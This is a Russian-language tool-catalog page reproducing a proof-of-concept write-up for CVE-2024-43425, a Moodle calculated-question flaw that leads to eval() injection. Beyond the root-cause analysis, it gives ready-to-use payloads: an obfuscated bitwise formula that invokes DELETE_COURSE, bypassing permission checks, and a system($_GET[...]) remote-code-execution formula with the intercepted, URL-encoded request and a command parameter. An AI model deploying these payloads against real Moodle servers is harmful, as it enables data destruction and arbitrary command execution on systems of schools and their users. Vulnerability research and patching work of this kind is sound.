Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2024-43425 | Kitploit
Инструменты/GitHubGitHub/tnot123/cve-2024-43425
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubtnot123/cve-2024-43425

cve-2024-43425

Репозиторий
10 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-43425

Информация о приложении:

Название приложения: Moodle
Версия сборки: moodle-4.4.1
Затронутые версии: 4.4–4.4.1, 4.3–4.3.5, 4.2–4.2.8, 4.1–4.1.11 и более ранние неподдерживаемые версии
Ссылка для скачивания: moodle-4.4.1

Описание и воздействие

Злоумышленники, имеющие право создавать или изменять вопросы в курсе Moodle, могут создавать вредоносные входные данные для вычисляемых вопросов, которые можно использовать для выполнения произвольных команд на базовой системе.

Корневая причина

alt

Функция qtype_calculated_find_formula_errors обеспечивает корректность вводимых формул в Moodle, предотвращая синтаксические ошибки.

alt

Переменные заменяются числом 1.0, формула приводится к нижнему регистру, а пробелы удаляются.

alt

alt

Основная логика проверки реализована путём обхода формулы и выделения самого левого математического выражения, которое можно распознать по отсутствию вложенных скобок. Затем это выражение заменяется на 1.0

alt

Наконец, после того как регулярное выражение больше не возвращает дополнительных совпадений, формула считается допустимой, если она содержит только безопасные операторы или числа. Исходная формула затем передаётся напрямую в eval.
Проверка результата выполняется путём передачи формулы в функцию php eval() после неполной фильтрации. Существует 2 подхода для обхода логики проверки:

  1. Явный список разрешённых математических функций может использоваться для построения произвольных имён функций в виде строк с помощью побитовых операций; их можно вызывать как переменные функции, когда за ними следуют круглые скобки. Единственный выявленный способ добавить обязательные круглые скобки — использовать встроенную подстановку переменных, что позволяет злоумышленнику вызывать произвольные функции, определённые в контексте Moodle, передавая один числовой аргумент. Результат работы функции раскрывается злоумышленнику.

alt

Плейсхолдеры переменных, такие как {a}, заменяются их значениями, заключёнными в (). Если мы добавим {a} в приведённое выше выражение, соответствующее 'PRINTF', результатом будет 'PRINTF'(1), поэтому можно определить формулу ответа из двух частей: a (function_name) и a {variable}.
2) Неопределённые переменные не заменяются перед передачей в eval(), поэтому они остаются нетронутыми как часть формулы. Кроме того, проверки имён переменных менее строгие, чем проверки, применяемые ко всем остальным частям формулы. Этим можно злоупотребить для вызова произвольных функций с использованием синтаксиса php object->{"member"}.

Шаги воспроизведения

Создайте вычисляемый вопрос с одной переменной, например {a}

alt

Сохраните вопрос и задайте диапазон значений переменной точно равный идентификатору курса — 3

alt

Сохраните вопрос, затем измените выражение на
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

alt

Сохранение изменённого вопроса приведёт к ошибке, но вопрос всё равно будет сохранён. Вернитесь в банк вопросов и просмотрите вопрос: функция DELETE_COURSE удалит курс с указанным ID, игнорируя все проверки прав.

alt

alt

Удалённое выполнение кода

Создайте вычисляемый вопрос. Установите формулу ответа:
(1)->{system($_GET[chr(97)])}

alt

Выражение преобразуется в 1-0-system($_GET{chr(97)})

alt

Перехватите запрос и измените обратно на (1)->{system($_GET[chr(97)])} %281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

alt

Появляется ошибка exception-system():Argument#1($command) cannotbe empty

alt

Передайте нужную команду, добавив &a=[arbitrary command] в URL. Вывод указанной системной команды будет включён в начало результирующего HTTP-ответа.
A=id

alt

A=ls

alt

Рекомендации

Исправьте функцию дезинфекции qtype_calculated_find_formula_errors, чтобы /question/type/calculated/questiontype.php всегда возвращал false, если вычисляемые вопросы не используются.

Скачать инструмент